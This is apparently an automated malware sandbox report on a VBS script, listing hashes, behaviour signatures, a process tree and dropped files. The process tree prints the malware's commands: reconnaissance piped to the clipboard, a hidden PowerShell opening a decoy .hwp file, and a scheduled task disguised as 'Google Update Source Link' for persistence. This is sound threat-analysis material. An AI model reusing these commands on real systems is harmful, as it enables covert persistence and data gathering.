Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/04/2024, 13:22

General

  • Target

    acc72156d3ad82ec5a2da1bdf9572e4b4f4d49fb31cc62e00586c0e70ae9c6ff.vbs

  • Size

    64KB

  • MD5

    ab97956fec732676ecfcedf55efadcbc

  • SHA1

    d17cb1fa3eaaf4de326575f769a186abee09715a

  • SHA256

    acc72156d3ad82ec5a2da1bdf9572e4b4f4d49fb31cc62e00586c0e70ae9c6ff

  • SHA512

    997078883598a1d9d6f9ef139085b2f157ede45b72bfb9ca4b2ebbaced7fc4e349330be702832e309fdd9c09bb8b0c00d8dc7dacb7e0486276b0d48767774e74

  • SSDEEP

    768:Ekxs2aBaWJdSrorxX17vKzs8FuB8LgL0px+DE54UqO6zKSxgqDl:EkxRaQWJgEX17vKzs8oeLgLUUVbO6zKi

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 25 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\acc72156d3ad82ec5a2da1bdf9572e4b4f4d49fb31cc62e00586c0e70ae9c6ff.vbs"
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c tasklist /v | clip
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\system32\tasklist.exe
        tasklist /v
        3⤵
        • Enumerates processes with tasklist
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
      • C:\Windows\system32\clip.exe
        clip
        3⤵
          PID:2692
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c Route print | clip
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\system32\ROUTE.EXE
          Route print
          3⤵
            PID:2896
          • C:\Windows\system32\clip.exe
            clip
            3⤵
              PID:2972
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c dir /w "C:\Windows/../Program Files" | clip
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2032
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" dir /w "C:\Windows/../Program Files" "
              3⤵
                PID:1620
              • C:\Windows\system32\clip.exe
                clip
                3⤵
                  PID:1944
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c dir /w "C:\Windows/../Program Files (x86)" | clip
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:676
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" dir /w "C:\Windows/../Program Files (x86)" "
                  3⤵
                    PID:1168
                  • C:\Windows\system32\clip.exe
                    clip
                    3⤵
                      PID:984
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden C:\Users\Admin\AppData\Local\Temp\2022.hwp
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1576
                    • C:\Windows\system32\rundll32.exe
                      "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\2022.hwp
                      3⤵
                      • Modifies registry class
                      • Suspicious use of WriteProcessMemory
                      PID:2644
                      • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
                        "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\2022.hwp"
                        4⤵
                        • Suspicious behavior: GetForegroundWindowSpam
                        • Suspicious use of SetWindowsHookEx
                        PID:2248
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden <table width="730" border="0" cellspacing="0" cellpadding="0"> <!-- Error title --> <tbody><tr> <td width="60" align="left" id="infoIconAlign" valign="top" rowspan="2"> <img id="infoIcon" alt="Info icon" src="info_48.png"> </td> <td width="*" align="left" id="mainTitleAlign" valign="middle"> <h1 id="mainTitle">The website cannot display the page</h1> </td> </tr> <tr> <!-- This row is for HTTP status code, as well as the divider--> <td align="right" class="errorCodeAndDivider" id="http405Align"><id id="http405"> HTTP 405</id> <div class="divider"></div> </td> </tr> <!-- Error Body --> <tr> <td> </td> <td align="left" id="mostlikelyAlign" valign="top"> <h3><id id="mostlikely">Most likely cause:</id></h3> <ul> <li><id id="programerror">The website has a programming error.</id></li> </ul> </td> </tr> <!-- What you can do --> <tr> <td> </td> <td align="left" id="whatToTryAlign" valign="top"> <h2 id="whatToTry">What you can try:</h2> </td> </tr> <!-- back to previous page --> <tr> <td> </td> <td align="left" id="goBackAlign" valign="middle"> <h4> <table> <tbody><tr> <td valign="top"> <img class="actionIcon" alt="" src="bullet.png" border="0"> </td> <td valign="top"> <span id="goBackContainer"><a href="javascript:history.back();">Go back to the previous page.</a></span><noscript id="goBack">Go back to the previous page.</noscript> </td> </tr> </tbody></table> </h4> </td> </tr> <!-- InfoBlock --> <tr> <td align="right" id="infoBlockAlign" valign="top"> </td> <td align="left" id="moreInfoAlign" valign="middle"> <h4> <table> <tbody><tr> <td valign="top"> <a onclick="javascript:expandCollapse('infoBlockID', true); return false;" href="#"><img class="actionIcon" id="infoBlockIDImage" alt="More information" src="down.png" border="0"></a> </td> <td valign="top"> <span id="moreInfoContainer"><a href="javascript:expandCollapse('infoBlockID', true);">More information</a></span> <noscript><ID id="moreInformation">More information</ID></noscript> </td> </tr> </tbody></table> </h4> <div class="infoBlock" id="infoBlockID" style="display: none;"> <p id="errorExplanation">This error (HTTP 405 Method Not Allowed) means that Internet Explorer was able to connect to the website, but the site has a programming error.</p> <p id="moreInfoSeeHelp">For more information about HTTP errors, see Help.</p> </div> </td> </tr> </tbody></table>
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2984
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden $a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\mscornet.vbs';$t1 = New-ScheduledTaskTrigger -Daily -At 10AM;$t2 = New-ScheduledTaskTrigger -Daily -At 11AM;$t3 = New-ScheduledTaskTrigger -Daily -At 3PM;$t4 = New-ScheduledTaskTrigger -Daily -At 4PM;$t5 = New-ScheduledTaskTrigger -Daily -At 5PM;$t6 = New-ScheduledTaskTrigger -AtLogOn;$d = 'Export the 10 newest events in the application logs';Register-ScheduledTask -Action $a -TaskName 'Google Update Source Link' -Trigger $t1,$t2,$t3,$t4,$t5,$t6 -Description $d;
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1076
                • C:\Program Files\Internet Explorer\iexplore.exe
                  "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                  1⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:1084
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1084 CREDAT:275457 /prefetch:2
                    2⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:2664

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                  Filesize

                  68KB

                  MD5

                  29f65ba8e88c063813cc50a4ea544e93

                  SHA1

                  05a7040d5c127e68c25d81cc51271ffb8bef3568

                  SHA256

                  1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

                  SHA512

                  e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  ceabce7aeeec16bcbe515819681be21e

                  SHA1

                  0ec25a0783f7215fceb57c604b2a3a966be52217

                  SHA256

                  5d44d11958d048c0f64749a711b37897a0645badeb685b00739fd707d947e28b

                  SHA512

                  b0388479b92db9d8b836b88329e458773a2c674f880dc13429300460e0b9fc20693a1b87be9cd53bcd9ae8281534e43537c0a638ad6908fc7fbaac5bc28f79cb

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  737eb51083eef3c45116d102058cef33

                  SHA1

                  725fd007114e97976cc39389b10ba8fd3805ee62

                  SHA256

                  a7be9d5dc95bf6d07ebac4c236fa2ddb5444f0a3a5ff64f3242fc32cf28e8842

                  SHA512

                  f0117ab2499bbc4499d65c2ec4ab7839aa3a78e3fddc9bf3d06048d88acacd18363d965bb912a585919676300a83ab9ac12f502de8a2ca10d830d74379ab2c9c

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  91316b38a1c23c43158086dcbca4f415

                  SHA1

                  99821e49460a6ed083d700abc91d99ea74977bfe

                  SHA256

                  480c894569e15b573f7b568be264627de3a6fe19e4dabf5a3a19eb61f8338ab5

                  SHA512

                  8f929f9cd6e4ef5494567da7b834bfd7c07a29e71f806a6c38d484d06b8b23a3d45148330a857baf619e940f34f95f37973c2ab74bd170b28abbd4c906934d19

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  75c58a00ba98b7b5a736e3148d971ff3

                  SHA1

                  ce731be90e3c5a130b0e359882938c9d1734a66c

                  SHA256

                  42e9ecd7360c1420a233d95f4f493498fe2edb3b9042ce55594a87e209c430fd

                  SHA512

                  c79801a1df07a535b33ae56aefb041dc2f3147396d90810536674f3a39f6bc53a8f6a85672951e31de7277e29780ea79b637b0a1307c812c3e0d1f8a47987a3c

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  da242a8fd6416b2be192ac98b8ade57c

                  SHA1

                  e883d07ad8feb6e2458df378fad1a10600873653

                  SHA256

                  6d1aa612137c1f95dcd997fe795c96a831b88a399159154c87412faff8fe6f52

                  SHA512

                  c96477f54b5d17e61a002471514b70649688cab1e8a6e1e73aa6b5df2d8c5ac7cb29055fd140463173ac9c25fe927c492fb113bc9af6e2dc7682f8197c24ad6a

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  767feb4011c066358b0b5478b76e1eff

                  SHA1

                  28517f9a49526dde8aa050809abd1df64c6d99e2

                  SHA256

                  98a47dde37c4e59ed626c0922a1be67fcf38a04c20193ac747394a0bc39e8c03

                  SHA512

                  d1015250cd9599c455667f3dbbb43c5f13bbc2cb995813cc38a8bbc0f44275555b929133a82063b0d9d1ceae7daa6daf1549b590c7646a1834a69e8710ccefc3

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  4c94e4b1c99545b7e97e6b2686ac5058

                  SHA1

                  e169d2f3fd3eb4e80f62c6b92a227f7b0cd3fcb3

                  SHA256

                  83b71bc295a5bc1348d41e7196f8880b015131d3640862c15f88198e96bb0db6

                  SHA512

                  327468976db55e4a975f1efbfc2f4638bd652b53db3a77ab787cc93938552fad148551aa2bd4c49f475d36fa91a2494ac2507879b03454d181ec9b46894f346d

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  66cf8b4dcf2fb39c7d0bbc5ce5cddb2b

                  SHA1

                  e549b6bfbe41c29a06ad25239d214fa6b4bc3cc1

                  SHA256

                  5eaff1b9c234f7a21bbad50d2936de71442a23c90811459a5ebc6d4ab160cd7c

                  SHA512

                  769c38efe542df6046a99691368f2762eb0496e60c8b2e373a974aded3d442bde94ec8c1146cb77db637628cf55e0c9bec8a7145f5756399d70c5d55ea3c0dc9

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                  Filesize

                  344B

                  MD5

                  430a91a092ad80e0b3c1820def6cf95c

                  SHA1

                  d574b91a674a61a3296c9249d5c897815f394b92

                  SHA256

                  96c0aef9f7458dac947b765915ef2e39ffd5950dfa69c9c52e76934794f43846

                  SHA512

                  7823561caca2f4c2485b43cec62349e807261d30593b26eed0325b498660bfaf65d9ef0e6b388130d56950d8c166f6393249920172ed87fb9f6475a4182fa9f9

                • C:\Users\Admin\AppData\Local\Temp\2022.hwp

                  Filesize

                  45KB

                  MD5

                  5097e5a2eb414a40db840408b29355c1

                  SHA1

                  761345512219b2e4616707dbb3f9fb87b807404c

                  SHA256

                  12c54133a7ca59edbc7bd28a6901ecfc883ca4e4f742b2bc2a7acd95acc75417

                  SHA512

                  cf68b2aaed094e86833a89e0804319dd93a9412f297774661968575a66659b07a5038f44ff70de6f2a4653353ceecdaedeb23dfc342e13d4bb0a965f676cbda3

                • C:\Users\Admin\AppData\Local\Temp\CabA576.tmp

                  Filesize

                  65KB

                  MD5

                  ac05d27423a85adc1622c714f2cb6184

                  SHA1

                  b0fe2b1abddb97837ea0195be70ab2ff14d43198

                  SHA256

                  c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

                  SHA512

                  6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

                • C:\Users\Admin\AppData\Local\Temp\TarA646.tmp

                  Filesize

                  177KB

                  MD5

                  435a9ac180383f9fa094131b173a2f7b

                  SHA1

                  76944ea657a9db94f9a4bef38f88c46ed4166983

                  SHA256

                  67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

                  SHA512

                  1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

                • C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

                  Filesize

                  3KB

                  MD5

                  c7036954b42ad2797c3800c4f7d42702

                  SHA1

                  13e555705375a4c71209918228a3de5b4f059c8e

                  SHA256

                  f5c5f7aca677e96f8b00abd009788aaa577a051f879315a05a2e7bca146bd4c3

                  SHA512

                  43333cf35e971a067b4f2276e72c9a867c38eeb88855044320547fdd8dc68570754d4f2513a737be01330ae721bfd537e6f1bfa9540f5c08d58ce3e3c438ebc7

                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                  Filesize

                  7KB

                  MD5

                  a7c0445ce4e66dcecc7dd52f3455cb11

                  SHA1

                  9f247ba8feba8bd009628d0fb507d63772fb58cf

                  SHA256

                  b74f459ae082a853ff8711d40202f631d699f7a872d5e5bdadd48eea3e5f1963

                  SHA512

                  68ac5c30b12aba73f6af21c085930f3b2eb3946e3fceed26491af9836f9a7d5e0fcaf592aefae2013e5b033ea700cd896009ae815ce13fbbeeb38111372001f9

                • memory/1076-50-0x00000000023D0000-0x0000000002450000-memory.dmp

                  Filesize

                  512KB

                • memory/1076-46-0x000007FEF3140000-0x000007FEF3ADD000-memory.dmp

                  Filesize

                  9.6MB

                • memory/1076-275-0x000007FEF3140000-0x000007FEF3ADD000-memory.dmp

                  Filesize

                  9.6MB

                • memory/1076-49-0x00000000023D0000-0x0000000002450000-memory.dmp

                  Filesize

                  512KB

                • memory/1076-48-0x00000000023D0000-0x0000000002450000-memory.dmp

                  Filesize

                  512KB

                • memory/1076-47-0x000007FEF3140000-0x000007FEF3ADD000-memory.dmp

                  Filesize

                  9.6MB

                • memory/1076-44-0x000000001B1A0000-0x000000001B482000-memory.dmp

                  Filesize

                  2.9MB

                • memory/1076-45-0x00000000023A0000-0x00000000023A8000-memory.dmp

                  Filesize

                  32KB

                • memory/1576-9-0x000007FEF4220000-0x000007FEF4BBD000-memory.dmp

                  Filesize

                  9.6MB

                • memory/1576-11-0x0000000002444000-0x0000000002447000-memory.dmp

                  Filesize

                  12KB

                • memory/1576-6-0x0000000002400000-0x0000000002408000-memory.dmp

                  Filesize

                  32KB

                • memory/1576-7-0x000007FEF4220000-0x000007FEF4BBD000-memory.dmp

                  Filesize

                  9.6MB

                • memory/1576-8-0x0000000002440000-0x00000000024C0000-memory.dmp

                  Filesize

                  512KB

                • memory/1576-12-0x000000000244B000-0x00000000024B2000-memory.dmp

                  Filesize

                  412KB

                • memory/1576-10-0x0000000002440000-0x00000000024C0000-memory.dmp

                  Filesize

                  512KB

                • memory/1576-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

                  Filesize

                  2.9MB

                • memory/2208-21-0x00000000023E0000-0x00000000023F0000-memory.dmp

                  Filesize

                  64KB

                • memory/2984-29-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

                  Filesize

                  2.9MB

                • memory/2984-31-0x0000000001E60000-0x0000000001E68000-memory.dmp

                  Filesize

                  32KB

                • memory/2984-33-0x00000000028A0000-0x0000000002920000-memory.dmp

                  Filesize

                  512KB

                • memory/2984-34-0x00000000028A0000-0x0000000002920000-memory.dmp

                  Filesize

                  512KB

                • memory/2984-38-0x00000000028A0000-0x0000000002920000-memory.dmp

                  Filesize

                  512KB

                • memory/2984-36-0x00000000028A0000-0x0000000002920000-memory.dmp

                  Filesize

                  512KB

                • memory/2984-35-0x000007FEF31B0000-0x000007FEF3B4D000-memory.dmp

                  Filesize

                  9.6MB

                • memory/2984-32-0x00000000028A0000-0x0000000002920000-memory.dmp

                  Filesize

                  512KB

                • memory/2984-30-0x000007FEF31B0000-0x000007FEF3B4D000-memory.dmp

                  Filesize

                  9.6MB

                • memory/2984-37-0x000007FEF31B0000-0x000007FEF3B4D000-memory.dmp

                  Filesize

                  9.6MB